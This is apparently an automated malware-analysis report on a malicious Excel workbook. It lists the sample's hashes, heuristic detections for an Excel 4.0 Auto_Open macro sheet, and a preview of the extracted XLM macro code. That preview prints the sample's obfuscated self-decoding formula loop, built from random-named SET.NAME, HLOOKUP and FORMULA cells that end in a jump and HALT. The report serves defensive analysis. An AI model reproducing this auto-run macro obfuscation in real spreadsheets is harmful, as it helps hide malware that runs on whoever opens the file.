Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df38e1f7848e4497…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:50 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: b9dc7dfcaea09d22a0fa7536da7c28bd SHA-1: 54cfec851738cc10bd658a6bf61a8a3fa660e2e5 SHA-256: df38e1f7848e4497dc016048780d95268c61b4c9c9c393f54b5ef673906c722c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: 4a9d12632ed60a460663a5aefb5e258081983a5eae1b6fdc42cdc24e54be7587
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mSxyRWFwBB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A167 
' 0018     25 LABEL : Cell Value, String Constant - cepkYmStBm len=0 
' 0018     22 LABEL : Cell Value, String Constant - ctaGfdo len=0 
' 0018     20 LABEL : Cell Value, String Constant - ETprB len=0 
' 0018     21 LABEL : Cell Value, String Constant - fHQNmX len=0 
' 0018     24 LABEL : Cell Value, String Constant - GXhiyJGTK len=0 
' 0018     20 LABEL : Cell Value, String Constant - gzPkV len=0 
' 0018     23 LABEL : Cell Value, String Constant - hFBbgahx len=0 
' 0018     20 LABEL : Cell Value, String Constant - hgIgg len=0 
' 0018     22 LABEL : Cell Value, String Constant - kvStNhp len=0 
' 0018     23 LABEL : Cell Value, String Constant - lIppMkwC len=0 
' 0018     20 LABEL : Cell Value, String Constant - lkxci len=0 
' 0018     25 LABEL : Cell Value, String Constant - OzXFRCIPmD len=0 
' 0018     20 LABEL : Cell Value, String Constant - PNpPF len=0 
' 0018     21 LABEL : Cell Value, String Constant - qWAPOW len=0 
' 0018     27 LABEL : Cell Value, String Constant - RBZkzxFvNVgA len=0 
' 0018     24 LABEL : Cell Value, String Constant - TRkCvaITu len=0 
' 0018     21 LABEL : Cell Value, String Constant - tyiNrD len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ufeua len=0 
' 0018     22 LABEL : Cell Value, String Constant - UwcHETp len=0 
' 0018     21 LABEL : Cell Value, String Constant - vdKQBi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mSxyRWFwBB,A76,"SET.NAME("vdKQBi",VALUE("0"))",""
'  mSxyRWFwBB,A78,"SET.NAME("fHQNmX",vdKQBi)",""
'  mSxyRWFwBB,A80,"SET.NAME("hgIgg",vdKQBi)",""
'  mSxyRWFwBB,A84,"SET.NAME("lIppMkwC",COUNTA(ETprB))",""
'  mSxyRWFwBB,A87,"SET.NAME("tyiNrD",COUNTA(lkxci))",""
'  mSxyRWFwBB,A89,[],""
'  mSxyRWFwBB,A91,"SET.NAME("ctaGfdo","")",""
'  mSxyRWFwBB,A95,"fHQNmX",""
'  mSxyRWFwBB,A98,"SET.NAME("cepkYmStBm",HLOOKUP("*",ETprB,fHQNmX,FALSE))",""
'  mSxyRWFwBB,A103,"RBZkzxFvNVgA",""
'  mSxyRWFwBB,A106,"SET.NAME("PNpPF",vdKQBi)",""
'  mSxyRWFwBB,A111,[],""
'  mSxyRWFwBB,A115,"PNpPF",""
'  mSxyRWFwBB,A118,"kvStNhp",""
'  mSxyRWFwBB,A120,"Ufeua",""
'  mSxyRWFwBB,A125,"TRkCvaITu",""
'  mSxyRWFwBB,A130,"SET.NAME("OzXFRCIPmD",VALUE(HLOOKUP("*",lkxci,TRkCvaITu,FALSE)))",""
'  mSxyRWFwBB,A133,"UwcHETp",""
'  mSxyRWFwBB,A137,"ctaGfdo",""
'  mSxyRWFwBB,A142,"hgIgg",""
'  mSxyRWFwBB,A144,NEXT(),""
'  mSxyRWFwBB,A149,"hFBbgahx",""
'  mSxyRWFwBB,A154,"SET.NAME("f",INT(T(FORMULA(T(ctaGfdo)&"",""&T(hFBbgahx)))))",""
'  mSxyRWFwBB,A158,"gzPkV",""
'  mSxyRWFwBB,A160,NEXT(),""
'  mSxyRWFwBB,A165,RETURN(),""
'  mSxyRWFwBB,A190,"SET.NAME("GXhiyJGTK",A76)",""
'  mSxyRWFwBB,A194,"ETprB",""
'  mSxyRWFwBB,A197,"SET.NAME("lkxci",R98C13)",""
'  mSxyRWFwBB,A199,"SET.NAME("gzPkV",205)",""
'  mSxyRWFwBB,A202,"SET.NAME("qWAPOW",1)",""
'  mSxyRWFwBB,A204,GXhiyJGTK(),""
'  mSxyRWFwBB,A205,HALT(),""

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